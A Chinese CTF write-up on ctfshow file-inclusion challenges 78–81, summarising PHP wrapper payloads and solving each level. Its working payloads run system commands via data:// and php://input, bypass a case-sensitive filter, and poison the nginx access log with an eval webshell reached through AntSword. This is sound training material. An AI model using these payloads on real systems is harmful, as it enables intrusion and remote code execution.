#最近了解了一点伪协议相关知识,做几个文件包含的题目试试水好了,本次wp的题目依旧取自ctfshow,为新手向,81题后面的暂时不会做,先放着好了
既然关于文件包含嘛,跟伪协议当然分不开了啦,以下是我对常用伪协议(暂时只见过这些)的总结
-
php://filter
-
php://filter/convert.base64-encode/resource=flag.php
-
php://filter/string.rot13/resource=flag.php
php://filter/string.strip_tags/resource=flag.php
-
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php
php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
-
-
data://text/plain
-
data://text/plain
[http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>]
-
data://text/plain;base64
[http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b]
-
-
php://input(不能用hackbar,需要bp手动传)
#http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo();?>
-
web 78
-
首先试试
?file=data://text/plain,<?php system("ls");?>
发现存在文件flag.php
接着可以用
?file=data://text/plain,<?php system("tac flag.php");?>直接读取flag(或者?file=php://filter/convert.base64-encode/resource=flag.php,不过得到结果需要base64解码哦)这里不用cat而是用tac是因为大概率被过滤掉了(已经试过了)
-
bp抓包后使用php://input伪协议

也是可以拿到flag的(记得在accept前面加上
Content-Type: application/x-www-form-urlencoded) -
我在别人的wp上发现还可以通过日志注入的做法(活到老学到老):
首先确定web服务器,这里使用Wappalyzer

对于Apache,日志存放路径:
/var/log/apache/access.log对于Ngnix,日志存放路径:
/var/log/nginx/access.log和/var/log/nginx/error.log这题可以看到是Ngnix
接着构造payload:
?file=/var/log/nginx/access.log然后使用bp或者hackbar修改请求头,注入一句话木马
User-Agent: <?php @eval($_POST['cmd']); ?>效果如下:

然后使用中国蚁剑连接

后续就很简单了,发现有一个flag.php,打开就可以看到flag
-
-
web 79
不认识str_replace,上网查查
查到,在PHP中,可以使用str_replace()函数来替换字符串中的一些字符。该函数区分大小写,并且可以对数组中的每个元素进行查找和替换,例如
<?php echo str_replace("world", "Shanghai", "Hello world!"); // 输出: Hello Shanghai! ?>所以这题看来payload中不能出现php(好家伙,给我伪协议全ban了),但是刚刚才新学了日志注入,果然活到老学到老
确认完是nginx,开始注入!

完美,接着导入数据

打开后里面就有flag.php,拿下flag
当然,如果仍想使用伪协议,也是可以滴,并且很简单,比如构造payload:
?file=data://text/plain,<?Php system("ls");?>原理就是str_replace()函数区分大小写,所以可以用这种方法绕过,接着就可以轻松找到flag
当然,还有很多方法,比如file=php://input什么的,我就不一一赘述了
-
web 80
这题演都不演了,data也不能用,逼着用file=php://input呗
原理同上一题,get参数里的php改一个为大写就可以了

依旧迅速找到flag位置,tac一下拿下flag
当然,日志注入依旧可以用(
日志注入超标) -
web 81
emm,冒号也不给用了,但是关我日志注入什么事呢,诶嘿
依旧熟悉的流程,快速复制粘贴式注入

然后导入中国蚁剑

这不就拿下了嘛,哼哼~

1016

被折叠的 条评论
为什么被折叠?



